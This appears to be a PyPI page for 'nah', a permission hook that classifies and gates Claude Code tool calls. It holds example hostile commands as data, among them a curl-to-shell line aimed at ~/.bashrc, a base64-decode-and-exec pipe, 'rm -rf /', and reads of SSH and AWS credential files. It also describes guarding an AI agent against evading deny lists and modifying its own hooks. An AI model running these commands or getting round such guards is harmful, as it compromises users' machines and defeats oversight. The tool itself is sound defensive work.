Skip to main content

Context-aware safety guard for Claude Code. A permission system you control.

Project description

nah

A permission system you control.
Because allow-or-deny isn't enough.

DocsInstallWhat it guardsHow it worksConfigureCLI


The problem

Claude Code's permission system is allow-or-deny per tool, but that doesn’t really scale. Deleting some files is fine sometimes. And git checkout is sometimes not fine. Even when you curate a deny list, 200 IQ Opus can find a way around it. Maintaining a denylist is a fool's errand

git push — Sure.
git push --forcenah?

rm -rf __pycache__ — Ok, cleaning up.
rm ~/.bashrcnah.

Read ./src/app.py — Go ahead.
Read ~/.ssh/id_rsanah.

Write ./config.yaml — Fine.
Write ~/.bashrc with curl sketchy.com | shnah.

We needed something like --dangerously-skip-permissions but that doesn’t nuke your untracked files, exfiltrates your keys, or installs malware.

nah classifies every tool call by what it actually does using contextual rules that run in milliseconds. For the ambiguous stuff, optionally route to an LLM. Every decision is logged and inspectable. Works out of the box, configure it how you want it.

Install

pip install nah
nah install

You are up and running. To uninstall: nah uninstall && pip uninstall nah.

Don't use --dangerously-skip-permissions. In bypass mode, hooks fire asynchronously — commands execute before nah can block them.

Allow-list Bash, Read, Glob, Grep and let nah guard them. For Write and Edit, your call — nah inspects content either way.

Try it out

Run the security demo inside Claude Code:

/nah-demo

You'll go thru 25 live cases across 8 threat categories: remote code execution, data exfiltration, obfuscated commands, and others. Takes ~5 minutes.

What it guards

nah is a PreToolUse hook that intercepts every tool call before it executes:

Tool What nah checks
Bash Structural command classification — action type, pipe composition, shell unwrapping
Read Sensitive path detection (~/.ssh, ~/.aws, .env, ...)
Write Path check + project boundary + content inspection (secrets, exfiltration, destructive payloads)
Edit Path check + project boundary + content inspection on the replacement string
Glob Guards directory scanning of sensitive locations
Grep Catches credential search patterns outside the project
MCP tools Generic classification for third-party tool servers (mcp__*)

How it works

Every tool call hits a deterministic structural classifier first, no LLMs involved.

Claude: Edit → ~/.claude/hooks/nah_guard.py
  nah. Edit targets hook directory: ~/.claude/hooks/ (self-modification blocked)

Claude: Read → ~/.aws/credentials
  nah? Read targets sensitive path: ~/.aws (requires confirmation)

Claude: Bash → npm test
  ✓ allowed (package_run)

Claude: Write → config.py containing "-----BEGIN PRIVATE KEY-----"
  nah? Write content inspection [secret]: private key

nah. = blocked. nah? = asks for your confirmation. Everything else flows through silently.

Context-aware

The same command gets different decisions based on context:

Command Context Decision
rm dist/bundle.js Inside project Allow
rm ~/.bashrc Outside project Ask
git push --force History rewrite Ask
base64 -d | bash Decode + exec pipe Block

Optional LLM layer

For commands the classifier can't resolve, nah can optionally consult an LLM:

Tool call → nah (deterministic) → LLM (optional) → Claude Code permissions → execute

The deterministic layer always runs first — the LLM only resolves leftover "ask" decisions. If no LLM is configured or available, the decision stays "ask" and the user is prompted.

Supported providers: Ollama, OpenRouter, OpenAI, Anthropic, Snowflake Cortex.

Configure

Works out of the box with zero config. When you want to tune it:

# ~/.config/nah/config.yaml  (global)
# .nah.yaml                  (per-project, can only tighten)

# Override default policies for action types
actions:
  filesystem_delete: ask         # always confirm deletes
  git_history_rewrite: block     # never allow force push
  lang_exec: allow               # trust inline scripts

# Guard sensitive directories
sensitive_paths:
  ~/.kube: ask
  ~/Documents/taxes: block

# Teach nah about your commands
classify:
  database_destructive:
    - "psql -c DROP"
    - "mysql -e DROP"

nah classifies commands by action type, not by command name. Run nah types to see all 20 built-in action types with their default policies.

Action types

Every command maps to an action type, and every action type has a default policy:

Policy Meaning Example types
allow Always permit filesystem_read, git_safe, package_run
context Check path/project context, then decide filesystem_write, filesystem_delete, network_outbound
ask Always prompt the user git_history_rewrite, lang_exec, process_signal
block Always reject obfuscated

Taxonomy profiles

Choose how much built-in classification to start with:

# ~/.config/nah/config.yaml
profile: full      # full | minimal | none
  • full (default) — comprehensive coverage across shell, git, packages, containers, and more
  • minimal — curated essentials only (rm, git, curl, kill, ...)
  • none — blank slate — make your own

LLM configuration

# ~/.config/nah/config.yaml
llm:
  enabled: true
  max_decision: ask              # cap: LLM can't escalate past "ask"
  providers: [openrouter]        # cascade order
  openrouter:
    url: https://openrouter.ai/api/v1/chat/completions
    key_env: OPENROUTER_API_KEY
    model: google/gemini-3.1-flash-lite-preview

Supply-chain safety

Project .nah.yaml can add classifications and tighten policies, but can never relax them. A malicious repo can't use .nah.yaml to allowlist dangerous commands — only your global config has that power.

CLI

Core

nah install                # install hook
nah uninstall              # clean removal
nah update                 # update hook after pip upgrade
nah config show            # show effective merged config
nah config path            # show config file locations

Test & inspect

nah test "rm -rf /"              # dry-run Bash classification
nah test --tool Read ~/.ssh/id_rsa   # test any tool, not just Bash
nah test --tool Write ./out.txt      # test Write with content inspection
nah types                        # list all action types with default policies
nah log                          # show recent hook decisions
nah log --blocks                 # show only blocked decisions
nah log --asks                   # show only ask decisions
nah log --tool Bash -n 20        # filter by tool, limit entries
nah log --json                   # machine-readable output
/nah-demo                        # live security demo inside Claude Code

Manage rules

Adjust policies from the command line:

nah allow filesystem_delete      # allow an action type
nah deny network_outbound        # block an action type
nah classify "docker rm" container_destructive  # teach nah a command
nah trust api.example.com        # trust a network host
nah allow-path ~/sensitive/dir   # exempt a path for this project
nah status                       # show all custom rules
nah forget filesystem_delete     # remove a rule

License

MIT


--dangerously-skip-permissions?

nah

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

nah-0.2.0.tar.gz (65.5 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

nah-0.2.0-py3-none-any.whl (76.7 kB view details)

Uploaded Python 3

File details

Details for the file nah-0.2.0.tar.gz.

File metadata

  • Download URL: nah-0.2.0.tar.gz
  • Upload date:
  • Size: 65.5 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.12.11

File hashes

Hashes for nah-0.2.0.tar.gz
Algorithm Hash digest
SHA256 7b1da828393ae2fd7bc7469c114ed7fbafef06014bbc3638df053f499f3dcc66
MD5 e7074023bd050d51f28e0d30a4b827bc
BLAKE2b-256 f25816d376a21730d8222a67e9e91926621b52c0c6e1205051bf39204f72cd72

See more details on using hashes here.

File details

Details for the file nah-0.2.0-py3-none-any.whl.

File metadata

  • Download URL: nah-0.2.0-py3-none-any.whl
  • Upload date:
  • Size: 76.7 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.12.11

File hashes

Hashes for nah-0.2.0-py3-none-any.whl
Algorithm Hash digest
SHA256 1e2119b20b37f861bff8491e24556a7450a9c67ac5a8eb3bd865a408728eb5b1
MD5 73fd626432316576111e6a1735da7a06
BLAKE2b-256 b08260f2d260c64137389cfee306895fd8c41477a05c1813b24abf1848baec37

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page